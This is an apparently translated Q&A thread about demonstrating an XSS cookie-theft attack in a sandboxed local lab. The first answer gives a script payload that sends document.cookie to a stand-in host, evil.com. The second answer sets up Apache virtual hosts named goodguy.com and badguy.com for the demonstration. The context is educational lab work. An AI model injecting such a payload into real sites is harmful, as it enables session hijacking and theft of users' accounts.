如何使用 localhost 演示 SOP 的利用

Question

我正在做 XSHM（跨站点历史记录操作）项目。

我试图展示使用 XSS（跨站脚本）如何违反 SOP。我已经在沙箱 XP 机器内设置了一个本地主机（WAMP）服务器（必须符合道德规范），并使用一个简单的登录脚本，该脚本容易受到 XSS 攻击。

问题）我想表明，在将邪恶的 JavaScript 代码注入登录页面后，我可以将用户 cookie 发送到另一个源，但如何使用本地主机服务器来做到这一点？

如果 localhost 是一个源（即受害者站点），我如何创建与 localhost 不同的另一个源（即坏人站点）来发送 cookie？我知道同源要求（协议、端口和域）相同。我无法更改为 HTTPS localhost 和 HTTP localhost，因为我没有证书。我似乎无法根据网络需要更改端口号：80。

我不想使用真实的网站并将 cookie 发送到本地主机脚本，因为这将是不道德的，并且也无法执行攻击，因为它不会有 XSS 漏洞来证明利用。

有什么想法吗？

Answer 1

来源并不重要，脚本只是读取同一来源上的文档 cookie，然后将其作为字符串发送到服务器，在服务器中对其进行解码，然后在作恶者的浏览器或类似浏览器中手动设置 cookie。

<script>
var img = new Image();
img.src = "http://www.evil.com/c="+escape(document.cookie);
</script>

这会发送一个 GET 请求，并在 c 参数中包含用户的 cookie 详细信息，简单地请求图像并不违反 SOP，所以我不知道这是否有帮助。

Answer 2

在 Apache 配置中设置一些虚拟主机，如下所示：

# Ensure that Apache listens on port 80
Listen 80

# Listen for virtual host requests on all IP addresses
NameVirtualHost *:80

<VirtualHost *:80>
DocumentRoot "C:\goodguy"
ServerName goodguy.com

# Other directives here

</VirtualHost>

<VirtualHost *:80>
DocumentRoot "C:\badguy"
ServerName badguy.com

# Other directives here

</VirtualHost>

将它们指向 127.0.0.1 在您的主机 文件。

127.0.0.1    goodguy.com
127.0.0.1    badguy.com

现在，使用 goodguy.com 和 badguy.com 而不是 localhost。

祝你好运！